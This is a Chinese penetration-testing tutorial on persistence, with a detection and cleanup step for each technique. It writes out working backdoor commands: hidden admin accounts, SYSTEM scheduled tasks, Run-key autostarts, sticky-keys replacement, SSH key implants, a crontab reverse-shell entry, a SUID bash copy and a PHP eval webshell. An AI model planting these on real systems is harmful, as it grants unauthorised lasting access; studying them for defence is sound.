13-权限维持技术:后门植入、开机自启、隐藏权限
合规声明:本文所有技术仅在本地靶场(VulnHub、Metasploitable、自建域环境)或已签署书面授权的渗透测试项目中演示。未经授权的渗透测试属违法行为,可能触犯《刑法》第285条、第286条。权限维持是攻击者视角的"持久化",在授权测试中它服务于"验证失陷后能否长期控制"这一测试目标,且测试结束必须清除;对防御者而言,理解每一种持久化手法就是掌握一份"该查哪"的排查清单。这是白帽教程,核心目标是让蓝队理解攻击链路。
一、权限维持的目的与授权前提
一句话定义:权限维持(Persistence)是防止失陷权限丢失的技术。
为什么需要它?攻击者视角:
- 密码被改了:管理员发现异常重置密码,普通凭据失效;
- 机器重启了:内存里的 shell、票据全部蒸发;
- 进程被杀了:上一次入侵留下的会话被 EDR 终结。
有权限维持,即使上述情况发生,攻击者仍有一条"暗道"可以回来。
白帽视角的再强调:授权渗透测试中植入持久化必须在合同范围内,测试报告中明确记录所有后门位置,收尾阶段全部清除(这是第 14 篇的核心内容之一)。真实环境中未经授权植入后门,是入侵行为的"实锤证据",法律定性时直接影响量刑。所以本篇每一节都会同步给"检测与清除"视角。
二、Windows 常见维持手法
2.1 隐藏账户:$结尾的把戏
最经典的 Windows 后门手法,操作(靶场):
net user backdoor$ Passw0rd! /add net localgroup administrators backdoor$ /add逐行解释:
- 第一条创建用户
backdoor$; - 第二条将其加入本地管理员组。
"隐藏"的原理:net user命令枚举用户列表时,来自 SAM 的枚举逻辑会过滤以$结尾的账号(这是系统机器账号如DC01$的命名约定,普通枚举不显示),所以net user看不到它。但这个账号真实存在且可正常登录。
蓝队破解法(务必掌握):绕过net user直接看注册表:
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names注意:SAM 键默认只有 SYSTEM 权限可读,管理员也读不了。用psexec -s regedit(以 SYSTEM 身份打开注册表)即可看到完整用户列表,backdoor$原形毕露。这是"隐藏账户不隐藏于注册表"的经典排查案例。
2.2 计划任务后门
schtasks /create /tn "SysCacheUpdate" /tr "C:\Users\Public\shell.exe" /sc minute /mo 30 /ru SYSTEM逐参数解释:
/create:创建任务;/tn:任务名——注意起了个系统风格的名字(社工维度:名字要像系统组件,SysCacheUpdate比叫backdoor生存率高一万倍);/tr:要执行的程序路径,藏在C:\Users\Public这种全用户可写目录;/sc minute /mo 30:每 30 分钟触发一次(低频触发避开频次告警);/ru SYSTEM:以 SYSTEM 身份运行(直接拿最高权限)。
检测:事件日志 4698/4699/4700 记录任务创建与启用;重点审计"以 SYSTEM 运行、指向 Public 目录、任务名不在基线清单内"的组合特征。基线快照对比(记录全环境合法任务清单)是对付伪装命名的根本方法。
2.3 注册表自启动键位
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "C:\Users\Public\shell.exe" /f逐参数解释:
- 目标键
HKLM\...\CurrentVersion\Run:Windows 登录时自动执行该键下所有可执行项,HKEY 分为 HKLM(全用户生效)与 HKCU(仅当前用户); /v SysCache:值名,同样走伪装命名;/t REG_SZ:字符串类型;/d:指向 payload 的路径;/f:强制覆盖不询问。
同族键位还有:RunOnce(只执行一次,但攻击者可让程序每次运行后重写自己,实现"名义一次、实际常驻")、启动文件夹(shell:startup目录放快捷方式)、Winlogon的 Userinit 键(替换值追加路径,更隐蔽也更危险)。
检测:自启动项变更监控是 EDR 基础能力;蓝队手工排查用autoruns(Sysinternals 工具),它枚举的启动位置远多于任务管理器的"启动"标签页——任务管理器只能看到一小部分,这是很多人的认知盲区。
2.4 粘滞键后门(原理)
Windows 的辅助功能替换类后门,粘滞键是最出名的代表。
原理:连按五次 Shift 触发sethc.exe(辅助功能程序,位于锁屏界面也可触发)。攻击者做法是把sethc.exe替换为cmd.exe:
cd C:\Windows\System32 takeown /f sethc.exe # 夺取文件所有权(SYSTEM 文件默认管理员无权改) icacls sethc.exe /grant administrators:F # 给管理员完全控制权限 copy /y cmd.exe sethc.exe # 覆盖:锁屏界面五击 Shift = 唤出 SYSTEM 权限 cmd逐行解释:
takeown /f sethc.exe:获取所有权,否则第 2 步会拒绝访问;icacls ... /grant administrators:F:授予写权限;- 最后把 cmd 复制覆盖 sethc——注意锁屏状态下触发的是 SYSTEM 会话的 cmd,无需登录即得最高权限。
同族手法还有utilman.exe(按 Win+U 弹出的轻松访问,同样锁屏可用)。现代 Windows 的系统文件完整性保护(SFC/WRP)会让替换失败,需先绕过,但靶场(老系统镜像)依然是经典必练项。
检测:sfc /scannow直接发现并修复被替换的系统文件;文件完整性基线(系统目录 hash 快照)对这类"改系统文件"的手法是降维打击。
2.5 Golden Ticket:长期票据维持
第 11 篇已详述黄金票据的伪造原理,这里强调它在持久化维度的价值:
- 伪造时把票据有效期设成极长(如 10 年),实现"一票在手,十年回城";
- 与上面所有文件级后门不同,黄金票据不落盘——没有文件、没有注册表痕迹、没有进程,纯内存注入(
/ptt)即用即抛; - 唯一根治手段是重置 krbtgt 密码两次。这也是蓝队处置域失陷的标准动作之一。
这也解释了它为什么被公认为"最优雅的持久化":攻击面在凭据层而非系统配置层。
三、Linux 侧维持手法
3.1 SSH 公钥后门
攻击者拿到 Linux 机器的 shell(弱口令或 RCE)后:
mkdir-p~/.ssh# 确保目录存在echo"ssh-rsa AAAAB3...(攻击者公钥) attacker@kali">>~/.ssh/authorized_keyschmod700~/.ssh# 目录权限必须是 700chmod600~/.ssh/authorized_keys# 文件权限必须是 600逐行解释:
- 公钥追加进
authorized_keys后,攻击者用对应私钥即可免密登录(对方改了 root 密码也无效——密码认证被绕过); - 最后两行 chmod不是可选项:sshd 对权限有严格要求,权限过宽(如 777)时 sshd 会拒绝该文件生效,这是很多新手后门"莫名失效"的原因。
检测:审计所有authorized_keys内容与最后修改时间;结合登录日志(/var/log/auth.log、last命令)核对"哪些 key 在被谁用"。
3.2 crontab 定时任务
(crontab-l2>/dev/null;echo"*/30 * * * * /tmp/.c/rev.sh")|crontab-逐段解释:
crontab -l:先读现有任务(2>/dev/null静默处理"无任务"的报错);- 拼接新任务:每 30 分钟执行一次反弹脚本,脚本藏在
/tmp/.c/(以点开头的隐藏目录); | crontab -:把拼接结果整体写回 crontab——这个"先读后写"的写法保证不覆盖掉已有任务,避免破坏业务暴露自己。
检测:/var/spool/cron/(Debian 系在/var/spool/cron/crontabs/)下的计划任务文件定期审计基线比对;关注/tmp、/dev/shm等临时目录里的可执行文件。
3.3 SUID 后门
原理速成:SUID 位使文件执行时以文件属主身份运行。把 shell 复制出来并授予 SUID:
cp/bin/bash /tmp/.sroot# 复制 bashchmodu+s /tmp/.sroot# 加 SUID 位,属主是 root 时执行即 root 权限/tmp/.sroot-p# 运行:-p 保留有效权限(新 bash 会降权,必须加)逐行解释:
- 复制后的文件属主是复制者;需要属主是 root时(普通用户在 root shell 里操作,属主才是 root),加 SUID 后任何普通用户执行
./.sroot -p即获得 root; -p(--privileged):bash 会主动丢弃 SUID 来的权限,-p是唯一让它保留的开关,不加的话执行完还是普通用户,等于白干。
检测:一条命令全网排查 SUID 异常文件:
find/-perm-4000-typef2>/dev/null解释:-perm -4000匹配含 SUID 位的文件,-type f只要普通文件。基线之外的 SUID 文件(尤其是 /tmp、/home 下的)一律视为高危。
四、webshell 与其检测难点
4.1 webshell 种类
- 一句话木马:经典形态如 PHP 的
<?php @eval($_POST['cmd']); ?>——只有一行,把 POST 参数当代码执行;功能极简,靠客户端(如中国蚁剑)下指令; - 加密流量型(冰蝎/哥斯拉):与一句话的本质区别是通信加密。冰蝎 3.x/4.x 默认 AES 加密传输、哥斯拉支持 AES/XOR 等——服务端木马先解密再 eval,流量侧看到的是密文;
- 内存马:不落盘,注册进中间件的 Filter/Listener 等运行时组件,进程重启即消失(Java 系如 Tomcat Filter 型内存马),查文件查不到。
4.2 检测难点与对应手段
| 检测层面 | 一句话木马 | 加密流量型(冰蝎/哥斯拉) |
|---|---|---|
| 静态文件特征 | 明文 eval/assert 等函数易被规则命中 | 服务端代码可混淆,静态规则命中率低 |
| 流量侧 | POST 参数是明文代码,WAF 规则直接拦 | 流量全密文,规则引擎失效 |
针对加密流量型的检测思路(防御者重点):
- 流量统计特征:密文流量规律——请求 body 大小分布异常集中(加密块对齐特征)、Content-Type 与 body 内容不匹配、同一 URL 高频 POST 且无正常业务参数结构;
- 行为特征:webshell 的"执行器"行为——木马每次请求都会触发新的进程(命令执行)或异常文件操作,主机侧 EDR 关联"web 服务进程 → 可疑子进程"链路即可命中;
- 落盘文件审计:web 目录新增 php/jsp 文件的变更监控(文件完整性监控 FIM),哪怕代码混淆,"新出现一个非发布流程产生的脚本文件"本身就是告警。
4.3 webshell 隐藏技巧与对应检测
攻击者常见隐藏手段(同步给检测思路):
- 改后缀/解析混淆:
.php5、x.php.jpg配合解析漏洞——检测:web 服务器严格限制可解析后缀白名单; - 藏在合法文件里:把木马代码插到正常业务脚本中间、利用
include链散布——检测:文件 hash 基线,业务发布流程之外的任何文件内容变更都告警; - 修改时间伪造(
touch伪装成老文件,见第 14 篇)——检测:以文件系统底层时间戳与 inode 变更记录为准,不能只信 mtime。
五、清除后门是渗透收尾必做
白帽伦理的分界线就在这里:授权测试中植入的每个持久化点,报告里要逐条登记,收尾时逐条清除:
- 隐藏账户删除:
net user backdoor$ /delete; - 计划任务删除:
schtasks /delete /tn "SysCacheUpdate" /f; - 注册表键删除:
reg delete ... /v SysCache /f; - webshell、上传工具、公钥、SUID 文件全清(完整清单见第 14 篇);
- 黄金票据类"无法本地清除"的维持手段(它不落盘),必须在报告中明确提示甲方重置 krbtgt 密码两次。
漏掉一个后门 = 给客户留下一个真实风险 = 职业污点。渗透测试的交付物是"发现的问题 + 已恢复的环境",不是"我留下的一条暗道"。
六、检测与防御方案汇总
给防御者一份按手法对应的排查矩阵:
| 攻击手法 | 检测点 | 防御措施 |
|---|---|---|
$隐藏账户 | 注册表 SAM 键(SYSTEM 权限读取) | 账户生命周期审计:新增账户必须关联变更工单 |
| 计划任务后门 | 4698/4699/4700 事件 | 任务基线快照比对,SYSTEM 任务重点审 |
| Run/RunOnce 自启 | autoruns 全量枚举 + EDR 注册表监控 | 自启动项基线,变更即告警 |
| 粘滞键后门 | sfc /scannow、系统文件 hash 基线 | 系统文件完整性保护保持开启 |
| Golden Ticket | 4624 出现"幽灵账户" | 重置 krbtgt 两次;缩短票据生命周期 |
| SSH 公钥 | authorized_keys 审计 | 密钥管理纳管,登录日志关联告警 |
| crontab | /var/spool/cron 基线 | 定时任务配置纳管(如必须走 CMDB 流程) |
| SUID 后门 | find / -perm -4000 | 最小化 SUID 白名单,其余一律去除 |
| webshell | FIM + 流量统计 + 进程链关联 | 上线前发布流程管控,web 目录只读化(配合运行账户降权) |
最后聊聊"重装论":安全圈的老梗——“中了恶意软件怎么办?重装。“对权限维持而言这句话有真实内核:因为持久化手法实在太多(本篇只是入门清单,MITRE ATT&CK 的 Persistence 战术下有数十个技术 ID),逐一排查的置信度永远低于重置系统镜像。所以企业处置失陷主机的标准动作是:取证后直接重装恢复,而不是"杀完毒继续用”。同理,域级失陷的标准处置是"重置 krbtgt + 轮换全部特权凭据”,这比逐主机排查更彻底。重装不是懒惰,是对抗不确定性下的最优解。
七、小结
权限维持的本质是"在防守方的地盘上留下一条不设防的路",而防御的本质是"把每条路都装上摄像头"。文件层(账户/任务/自启/公钥)、系统层(SUID/粘滞键)、凭据层(黄金票据)、应用层(webshell)四个层面各自成体系,攻击与检测也各自对应。下一篇进入攻防的最后一环:攻击者如何抹去这条路上的一切脚印,蓝队又如何让"清痕"这个动作本身变成最大的告警。